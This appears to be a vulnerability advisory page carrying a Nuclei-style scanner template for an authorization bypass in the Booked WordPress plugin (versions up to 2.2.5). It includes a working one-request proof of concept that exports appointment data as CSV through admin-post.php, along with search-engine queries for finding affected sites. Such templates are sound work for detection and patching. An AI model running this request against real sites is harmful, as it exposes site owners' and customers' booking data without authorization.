booked-export-csv: Booked < 2.2.6 - Broken Authentication

2025-08-01 Booked PoC Public

Description

The Booked plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on several functions hooked via AJAX actions in versions up to, and including, 2.2.5. This makes it possible for authenticated attackers with subscriber-level permissions and above to execute several unauthorized actions.

PoC

id: booked-export-csv

info:
  name: Booked < 2.2.6 - Broken Authentication
  author: random-robbie
  severity: high
  description: |
    The Booked plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on several functions hooked via AJAX actions in versions up to, and including, 2.2.5. This makes it possible for authenticated attackers with subscriber-level permissions and above to execute several unauthorized actions.
  remediation: Fixed in version 2.2.6
  reference:
    - https://codecanyon.net/item/booked-appointments-appointment-booking-for-wordpress/9466968
    - http://boxyupdates.com/changelog.php?p=booked
    - https://wpscan.com/vulnerability/10107
  classification:
    cpe: cpe:2.3:a:twinkletoessoftware:booked:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: twinkletoessoftware
    product: booked
    fofa-query: "wp-content/plugins/booked/"
    publicwww-query: "/wp-content/plugins/booked/"
    google-query: inurl:"/wp-content/plugins/booked/"
  tags: wordpress,wpscan,wp-plugin,wp,booked,bypass,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        booked_export_appointments_csv=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "End Time"
          - "Start Time"
          - "Calendar"
        condition: and

      - type: word
        part: header
        words:
          - text/csv

      - type: status
        status:
          - 200
# digest: 4a0a00473045022051ee5aaec84a8fa714208764aa504c27d955b8ba08e3230a4dbda1b751df264f022100c796337ad3efbb27e723490c6d4e653e0c70bf0649845465b17cf48967faf6ef:922c64590222798bb761d5b6d8e72950

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